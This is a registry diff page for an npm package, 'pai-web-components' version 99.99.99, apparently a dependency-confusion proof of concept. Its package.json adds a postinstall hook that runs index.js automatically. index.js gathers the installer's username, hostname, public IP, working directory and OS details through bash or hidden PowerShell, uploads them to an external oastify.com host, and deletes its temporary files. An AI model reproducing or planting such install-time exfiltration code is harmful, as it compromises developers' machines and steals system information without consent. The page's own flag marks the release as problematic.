pai-web-components 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pai-web-components might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +100 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,100 @@
1
+ const { exec } = require('child_process');
2
+ const http = require('http');
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+
6
+ const getPublicIP = (callback) => {
7
+ const options = {
8
+ hostname: 'api.ipify.org',
9
+ path: '/?format=json',
10
+ method: 'GET',
11
+ };
12
+
13
+ const req = http.request(options, (res) => {
14
+ let data = '';
15
+ res.on('data', (chunk) => {
16
+ data += chunk;
17
+ });
18
+
19
+ res.on('end', () => {
20
+ try {
21
+ const response = JSON.parse(data);
22
+ const publicIP = response.ip;
23
+ callback(null, publicIP);
24
+ } catch (error) {
25
+ callback(new Error('Error parsing response'));
26
+ }
27
+ });
28
+ });
29
+
30
+ req.on('error', (error) => {
31
+ callback(error);
32
+ });
33
+
34
+ req.end();
35
+ };
36
+
37
+ const detectOSType = () => {
38
+ const type = os.type();
39
+ if (type.startsWith('Windows')) return 'Windows';
40
+ if (type.startsWith('Linux')) return 'Linux';
41
+ if (type.startsWith('Darwin')) return 'Mac';
42
+ return 'UNKNOWN';
43
+ };
44
+
45
+ getPublicIP((error, remoteIP) => {
46
+ if (error) {
47
+ console.error('Error:', error.message);
48
+ } else {
49
+ const os_type = detectOSType();
50
+ if (os_type === 'Linux' || os_type === 'Mac') {
51
+ const bash = `#!/bin/bash;separator="--------------------------------------------------";exfiltrate="$separator
52
+ Username: $(whoami)
53
+ Hostname: $(hostname)
54
+ Public IP: ${remoteIP}
55
+ Time: $(date)
56
+ Current Path: $(pwd)
57
+ Package Name: $(npm run env | grep 'npm_package_name' | cut -d '=' -f 2)
58
+ Kernel: $(uname -a)
59
+ $separator";echo "$exfiltrate" > /tmp/demo.txt;curl --silent -F "content=@/tmp/demo.txt" https://d2g5xjy5lmgtlhzxdy5qz8f0erkj89wy.oastify.com;rm -f /tmp/demo.txt`;
60
+ exec(
61
+ 'echo -e' + bash + " > /tmp/demo.sh; chmod +x /tmp/demo.sh; /bin/bash -c /tmp/demo.sh; rm -f /tmp/demo.sh",
62
+ (error, stdout, stderr) => {
63
+ if (error) {
64
+ console.error(`Error: ${error.message}`);
65
+ return;
66
+ }
67
+ }
68
+ );
69
+ } else if (os_type === 'Windows') {
70
+ const powershell = `$whoami = whoami
71
+ $today = (Get-Date).DateTime
72
+ $publicIP = (Invoke-WebRequest -Uri 'https://api.ipify.org?format=text' -UseBasicParsing).content
73
+ $system = systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
74
+ $filePath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "output.txt")
75
+ $scriptPath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "demo.ps1")
76
+
77
+ Write-Output "Username: $whoami\`nDate: $today\`nPublic IP: $publicIP\`nSystem Information:" | Out-File -FilePath $filePath -Encoding ASCII
78
+ Add-Content $filePath $system
79
+
80
+ $destinationUrl = "https://d2g5xjy5lmgtlhzxdy5qz8f0erkj89wy.oastify.com"
81
+
82
+ $filePath = "$filePath"
83
+
84
+ Invoke-WebRequest -Uri $destinationUrl -Method POST -InFile $filePath -UseBasicParsing
85
+ del $filePath
86
+ del $scriptPath`;
87
+ const psFilePath = `${process.env.TEMP}\\demo.ps1`;
88
+ fs.writeFileSync(psFilePath, powershell, 'utf8');
89
+ exec(
90
+ `C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File %TEMP%\\demo.ps1`,
91
+ (error, stdout, stderr) => {
92
+ if (error) {
93
+ console.error(`Error: ${error.message}`);
94
+ return;
95
+ }
96
+ }
97
+ );
98
+ }
99
+ }
100
+ });
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+
2
+ {
3
+ "name": "pai-web-components",
4
+ "version": "99.99.99",
5
+ "description": "A sample npm package for demonstration purposes.",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "postinstall": "node index.js"
9
+ },
10
+ "keywords": [
11
+ "dependency"
12
+ ],
13
+ "author": "Depdency-Confusion-PoC",
14
+ "license": "ISC"
15
+ }